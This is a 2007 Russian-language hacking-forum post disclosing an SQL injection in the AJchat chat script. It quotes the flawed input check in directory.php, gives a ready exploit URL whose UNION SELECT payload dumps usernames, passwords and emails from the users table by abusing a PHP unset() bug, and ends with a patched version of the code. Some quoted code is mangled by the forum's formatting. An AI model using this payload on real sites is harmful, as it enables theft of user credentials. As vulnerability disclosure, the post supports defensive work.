Чаты AJchat Remote Sql Injection using unset() bug

Discussion in 'Веб-уязвимости' started by gemaglabin, 6 Apr 2007.

  1. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    В связи с отсуствием нормального применения баги , а именно в таблице хранятся только юзеры , выкладываю в паблик

    Файл directory.php , самое начало кода

    PHP:
    if (isset($_GET["s"])){
        
    $_GET["s"] = strtoupper($_GET["s"]);
        if (
    strlen($_GET["s"])==&& $_GET["s"]>='A' && $_GET["s"]<='Z'){
            
    // nothing
        
    }else unset($_GET['s']);

    }
    По задумке програмистов - если введенные данные не в пределах от a..z то unset() переменной - вычисляем ключи для php4 и для php5 и эксплуатируем

    Code:
    directory.php?s='and1=2union select concat_ws(char(59),id,username,password,email),null+from+ac_users/*&5861526=1&5863704=1
    
    Вендор : http://ajchat.sourceforge.net/

    Решение
    PHP:
    if (isset($_GET["s"])){
        
    $_GET["s"] = strtoupper($_GET["s"]);
        if (
    strlen($_GET["s"])==&& $_GET["s"]>='A' && $_GET["s"]<='Z'){
            
    // nothing
        
    }else 
    {
    $_GET['s'] = NULL;
    unset(
    $_GET['s']);
    }
     
    5 people like this.